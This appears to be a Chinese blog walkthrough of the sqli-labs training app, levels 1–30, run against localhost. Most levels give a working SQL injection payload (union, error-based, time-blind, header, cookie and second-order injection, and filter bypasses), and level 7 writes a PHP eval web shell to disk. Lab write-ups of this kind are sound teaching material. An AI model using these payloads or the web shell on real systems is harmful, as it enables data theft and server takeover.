第1关
看我sql入门篇就行
第2关
同第一关,只是少了’号
http://localhost/Less-2/?id=1 order by 3 --+
第3关
先来个简单的’试一下
发现里面有括号,报错引号对不上,那就再加个右括号就可以了
http://localhost/Less-3/?id=1=1') union select 1,2,3 --+
看了眼源代码,也得却如此,sql查询语句中有(‘id’)
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
第四关
同第三关
单"直接报错,而’没有问题
就可以直接在"上加右括号就行
http://localhost/Less-4/?id=1=1") union select 1,2,3 --+
查看sql语句,直接在id上加上了""
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
第5关
sql语句会几乎不会显示内容,我们再加入个’回显示错误的原因
就可以用报错回显或者DNSlog或者是盲注
先来个报错
这不正常显示了吗?
http://localhost/Less-5/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+
后面就看我写的报错注入文章就行了
时间盲注 和 布尔盲注 太靠人品了 就不细讲了
DNSlog操作太频繁
第六关
同第五关,直接加个"双引号就可以了,上面则是单引号
http://localhost/Less-6/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+
第7关
改文件
直接获取权限
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+
第8关
直接用报错试试
好家伙,错误直接不给你显示了.
还可以试试DNSlog或者盲猜
这就试试sqlmap吧
先来个爆库试试
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10
跑到一半就没法跑了,估计腾讯云已经认为我服务器遭到了攻击,给挡住了
![](https://www.netsafe.top/wp-content/uploads/2021/11/803.png)
第9关
无论写什么都是 you are in…
在这里是单引号
问题就来了,这就要用到时间盲注或者DNSlog回显
时间盲注太费时间 可以看我写的DNSlog回显,上面是基于第9关写的
第10关
和第九关区别不太大,只是改为了双引号,就不详细说了
第11关
如果这是个新手教程,那么第11关和第一关应该一样只是加了个’号
好了, 我们去看看有多少列吧
只有两列
把sql注入中阶里的爆表改成两列
当然你可以用时间盲注,布尔盲注,DNSlog回显,也可以跟我刚才一样用union联合查询
第12关
如果按照上面的第2关的思路来说,那么第12关就是直接将单引号变为双引号就可以了,实际上并不是,我们就看一眼源代码
$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
那么只能双引号闭合了
uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin
让我们改改源代码,看看上交了啥?
admin的与或计算
当然也可以把括号闭合起来,直接利用union
uname=0") union select 1,database() --+ &passwd=admin
具体方式就不说了
第13关
不显示正确信息,看看报错信息是否显示
还好错误是显示的,就用错误回显就可以了
把上面的错误回显的代码利用下
竟然什么都不显示了,可恶啊
换成单引号
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) and ' &passwd=admin
显示了
其实可以用 Dnslog回显来解决的
第15关
试了一下单引号和双引号,什么都不显示,那么只能DNSlog回显或者时间盲注了
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
# 如果对就5s后显示,不对就1s后显示
第16关
跟15关一样,还是时间盲注,不过要改成双引号加括号
uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
如果对就5s后显示,不对就1s后显示
第17关
我在错误回显里讲过,就不细说了
第18关
要进行密码检测和用户检测,外方法不行了
再看看源代码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
那就是http头部注入呗
再pikapika文章里讲个http头部注入,过程可以参考那个
第19关
要抓包,抓refer头部
流程跟上面的user_agent头部抓取流程一样
Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
第20关
这是cookie 我在之前的sql注入第一章里讲过
第21关
这是Base64字节注入 同上
-admin') union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
第22关
还是21关那个老味道了,只是把单引号和括号去掉,变成了双引号了,达成了闭合
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
第23关
看了一眼源代码,是把注释给去掉了
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
直接进行闭合就可以了
?id=' union select 1,2,database() '
第24关
双注入
- 注册一个admin’#的账号。
- 登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’
也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’
成功的话跳转页面会提示Password successfully updated
- 用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。
完成
第25关
看一眼源代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
原来是进行了and 和 or的屏蔽
就直接用union直接注入得了
?id=-1' union select 1,2,database()--+
第26关
看了眼源代码,是直接屏蔽了各种符号和字符
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以直接利用错误回显进行解决,因为update函数不需要空格,or和and可以用运算符号进行解决
?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
第27关
再看一眼源代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
屏蔽了一堆,但是没有进行大小写统一化,所以,我可以尝试将中间的字母进行大小写打乱,当然仍然可以用错误回显
updatexml:你禁了select和union关我什么事
?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
所以,上题用的语句在这里仍然可以解决
第28关
先试试错误回显,然后发现不显示错误回报了
还是得看代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
屏蔽了注释符号 空格 还有 union select
使用正显就可以了
空格用%0d
?id=0')union%0dunion%0dselectselect%0d1,2,3;%00
第29关
就简单试了一下就过了
?id=-1' union select 1,2,database()--+
意义不明,查了一下,说是waf的防火墙漏洞
第30关
还是waf防火墙漏洞
?id=-1" union select 1,2,database()--+
这两个题出的真奇怪